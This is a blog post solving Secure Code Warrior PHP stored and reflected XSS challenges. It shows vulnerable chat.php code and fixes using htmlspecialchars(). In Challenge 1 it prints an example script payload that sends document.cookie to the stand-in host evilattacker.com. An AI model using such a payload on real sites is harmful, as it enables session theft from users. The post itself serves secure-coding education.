OWASP A7:2017 – Cross-Site Scripting (XSS)

If you stumble across this post and are wondering what this is all about, then I recommend reading this post before following this guide. TL; DR, this post is about solving Secure Code Warrior challenges, more specifically their PHP Basic challenges. Before starting these challenges I recommend reading this article by OWASP on XSS vulnerabilities. Also, do read on the OWASP XSS testing and prevention guides which’ll help in following this guide. So, without further ado, let’s get started.

Table of Contents

Challenge 1 – Stored XSS

Locating Vulnerability

As the challenge is about “Stored” XSS we should be looking for code where user input is fetched and stored into the database without validation. A good example of this is chat messages, which get stored in a database and gets fetched when a user loads his inbox. If some malicious user has sent XSS payloads in a message, when the victim visits his inbox the payload will be executed and the XSS attack will get carried out. As such the chat.php in /views/cabinet is vulnerable to XSS injection.

 <ul>
    <p>Last sent messages:</p>
    <?php foreach($messages as $message): ?>
        <li><?= $message ?></li>
    <?php endforeach ?>
</ul>

In the above code the user supplied messages are not escaped/validated before storing them in database and is ultimately shown to the user without validation. As a result, an attacker can use a payload like the following to sent a message and be able to steal a user’s session cookie.

<script>document.write('<iframe src="http://evilattacker.com?cookie=' + document.cookie.escape() + '" height=0 width=0 />');</script>

Identifying Solution

One should never rely on user input and must always validate user input data before storing it in the database. The recommended way of preventing XSS in PHP is using the htmlspecialchars() function. The htmlspecialchars() function is used to escape special HTML characters that are present in a message. Only one solution implements the function correctly.

<!doctype html>
<html lang="en">
<?php ViewHelper::getHead('Chat');?>
<body>
    <p>
        <?php
            if(isset($_POST['chat'])) {
                echo 'Message:' . htmlspecialchars($request->getParsedBody()['message'], ENT_QUOTES);
                echo 'sent to - ' . htmlspecialchars($request->getParsedBody()['recipient'], ENT_QUOTES);
            }
        ?>
    </p>
    <form action="chat.php" method="post" enctype="text/plain">
        <?= CSRFHelper::csrfToken($token)?>
        <?php foreach($users as $user): ?>
            <input type="radio" name="recipient" value="<?= $user->uid ?>"><?= $user->name . $user->surname ?><br>
        <?php endforeach ?>
        <p><textarea rows="10" cols="45" name="message"></textarea></p>
        <input type="submit" value="Submit message" name="chat">
    </form>
<ul>
    <p>Last sent messages:</p>
    <?php foreach($messages as $message): ?>
        <li><?= htmlspecialchars($message) ?></li>
    <?php endforeach ?>
</ul>
</body>
</html>

Challenge 2 – Stored XSS

Locating Vulnerability

Same as Challenge 1.

Identifying Solution

Same as Challenge 1.

Challenge 3 – Reflected XSS

Locating Vulnerability

Reflected XSS occurs when user supplied input is immediately shown as the web application’s output, i.e, it is reflected back to the browser from the server, in the same request. As such, we should be looking for fields in the application source code that display user input without validation/escaping special HTML characters. In this challenge the chat.php is vulnerable because user messages are echoed back into the browser without validation.

 <?php
            if(isset($_POST['chat'])) {
                echo 'Message:' . $request->getParsedBody()['message'];
                echo 'sent to - ' . $request->getParsedBody()['recipient'];
            }
        ?>

In the above code, on line 31, the user supplied message is shown as output in the browser. A malicious user can send a XSS payload in a message and it’ll get executed when it was shown in the browser.

Identifying Solution

It is recommended to sanitize user input which gets displayed to users, in order to prevent Reflected XSS attacks. The solution for this challenge is same as Challenge 1 above, i.e., user PHP htmlspecialchars() function to convert special characters sent in chat messages before displaying them to the users.

Conclusion

Although secure code practices are a great way to prevent XSS attacks, I recommend using a Web Application Firewall as a first line of defence in order to block malicious code even before it reaches you server. That being said, six categories down, 4 more to go.

Leave a Reply

Your email address will not be published. Required fields are marked *